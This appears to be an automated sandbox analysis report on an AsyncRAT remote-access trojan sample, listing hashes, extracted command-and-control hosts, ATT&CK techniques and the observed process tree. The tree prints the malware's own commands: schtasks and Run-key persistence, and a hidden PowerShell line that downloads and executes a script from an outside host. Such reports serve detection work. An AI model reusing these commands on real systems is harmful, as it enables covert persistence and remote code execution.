asyncrat | 074ce8ba381526faa61c3f512d8901138695f7ada15f7885db886c47bed969e5

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 08:44

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General

Target
MB66 APP.exe
Size 60KB
Sample260925-km97jscd93
SHA256 074ce8ba381526faa61c3f512d8901138695f7ada15f7885db886c47bed969e5
MD5 8a406c3f40bec6eaffd7059bac9be040
SHA1 6f4e2dffac35280c6d3c66e6bbaf2b9d67bc1dca
SHA512 0c0ef1b8f398170a77f086d0bf67adfadb1d4babacf305b04818d42e45de43b5e5504ae6a33f6e4372370e1f365e7eb7b80e59afde133e1e06ca2341cce3be66
SSDEEP 1536:r2Ng4OmZEtncXziGdb6lc6XrEef8fxkQdK8:fv6db6iYrzkZK8
TLSH
T164532A003BE98126F1BD4F7898F2654146BAEE137A22DA4E1C9430DA0773BC5D9527FB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://mb66ax.com/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

mb66ax.com:8080
mb66ax.com:443
mb66ax.com:8443
mb66ax.com:80
www.mb66ax.com:8080
www.mb66ax.com:443
www.mb66ax.com:8443
www.mb66ax.com:80
c2.mb66ax.com:8080
c2.mb66ax.com:443
c2.mb66ax.com:8443
c2.mb66ax.com:80
malware.mb66ax.com:8080
malware.mb66ax.com:443
malware.mb66ax.com:8443
malware.mb66ax.com:80
backdoor.mb66ax.com:8080
backdoor.mb66ax.com:443
backdoor.mb66ax.com:8443
backdoor.mb66ax.com:80

Mutex

g1f7X2L0aGYH

Attributes

delay
3
install
true
install_file
S8.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0009000000016b48-10.dat	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1860	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1080	S8.exe
1752	S8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2532	cmd.exe
4116	cmd.exe
1888	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	S8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	S8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MB66 APP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2616	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5592	schtasks.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1152	MB66 APP.exe
1080	S8.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1152	MB66 APP.exe
Token: SeDebugPrivilege	1080	S8.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1152 wrote to memory of 1888	1152	MB66 APP.exe	89
PID 1152 wrote to memory of 2532	1152	MB66 APP.exe	91
PID 1888 wrote to memory of 5592	1888	cmd.exe	93
PID 2532 wrote to memory of 2616	2532	cmd.exe	94
PID 2532 wrote to memory of 1752	2532	cmd.exe	97

C:\Users\Admin\AppData\Local\Temp\MB66 APP.exe
"C:\Users\Admin\AppData\Local\Temp\MB66 APP.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "S8" /tr '"C:\Users\Admin\AppData\Roaming\S8.exe"' & exit
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "S8" /tr '"C:\Users\Admin\AppData\Roaming\S8.exe"'
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5592
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3658.tmp.bat""
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\SysWOW64\timeout.exe
    timeout 3
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2616
- - C:\Users\Admin\AppData\Roaming\S8.exe
    "C:\Users\Admin\AppData\Roaming\S8.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1752

C:\Users\Admin\AppData\Roaming\S8.exe
"C:\Users\Admin\AppData\Roaming\S8.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mb66ax.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4116
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mb66ax.com/load.ps1')\"" /f
    3⤵
    PID:2936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mb66ax.com/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1860

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

tmp3658.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp3658.tmp.bat
Size 146B
SHA256 d94eb3834d00b28a9cbe413307a415e5f7d270d6f82c914aa3d75662bd4e0d50
MD5 509c939a271fb7580c82dc7cd8c061c6
SHA1 700c47a4fc2913d5b0b2539fbe3da76dc905b2e4
SHA512 6b3afd0fd772e022fed4c710caea16867b84aeb805bdaef843de7b99363c1234c2fcc90179ee0efb0abcbd8de25d663b09cbfb367f8b37fd5e3e2b99976a2bf5
TLSH
T120C02B4275C5EA0E2D0598131BFED48C91B7AC193F84BB50C304440E2280848F0E9341
MD5 SHA1 SHA512 TLSH

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S8.exe

Path C:\Users\Admin\AppData\Roaming\S8.exe
Size 60KB
SHA256 074ce8ba381526faa61c3f512d8901138695f7ada15f7885db886c47bed969e5
MD5 8a406c3f40bec6eaffd7059bac9be040
SHA1 6f4e2dffac35280c6d3c66e6bbaf2b9d67bc1dca
SHA512 0c0ef1b8f398170a77f086d0bf67adfadb1d4babacf305b04818d42e45de43b5e5504ae6a33f6e4372370e1f365e7eb7b80e59afde133e1e06ca2341cce3be66
SSDEEP 1536:r2Ng4OmZEtncXziGdb6lc6XrEef8fxkQdK8:fv6db6iYrzkZK8
TLSH
T164532A003BE98126F1BD4F7898F2654146BAEE137A22DA4E1C9430DA0773BC5D9527FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1080-12-0x0000000074750000-0x0000000074F0C000-memory.dmp

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memory/1080-14-0x0000000074750000-0x0000000074F0C000-memory.dmp

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memory/1152-0-0x0000000074762000-0x0000000074763000-memory.dmp

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memory/1152-1-0x00000000008E0000-0x00000000008F4000-memory.dmp

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memory/1152-2-0x0000000074750000-0x0000000074F0C000-memory.dmp

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memory/1152-3-0x0000000005F80000-0x000000000601C000-memory.dmp

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memory/1152-8-0x0000000074750000-0x0000000074F0C000-memory.dmp

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memory/1860-17-0x000001DC67950000-0x000001DC67972000-memory.dmp

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